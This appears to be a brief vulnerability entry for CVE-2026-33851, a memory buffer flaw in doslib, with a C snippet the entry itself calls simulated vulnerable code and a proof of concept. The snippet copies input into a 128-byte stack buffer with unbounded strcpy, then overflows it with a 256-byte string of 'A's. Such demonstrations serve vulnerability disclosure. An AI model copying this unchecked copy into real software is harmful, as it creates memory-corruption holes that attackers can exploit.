CVE-2026-33851 doslib内存缓冲区操作不当漏洞

#include <stdio.h> #include <string.h> // Simulated vulnerable code in doslib context void process_input(char *data) { char buffer[128]; // Vulnerability: No bounds checking before copy strcpy(buffer, data); printf("Processed: %s\n", buffer); } int main() { // Proof of Concept: Input larger than buffer size char exploit_payload[256]; memset(exploit_payload, 'A', sizeof(exploit_payload) - 1); exploit_payload[sizeof(exploit_payload) - 1] = '\0'; printf("Triggering buffer overflow...\n"); process_input(exploit_payload); return 0; }
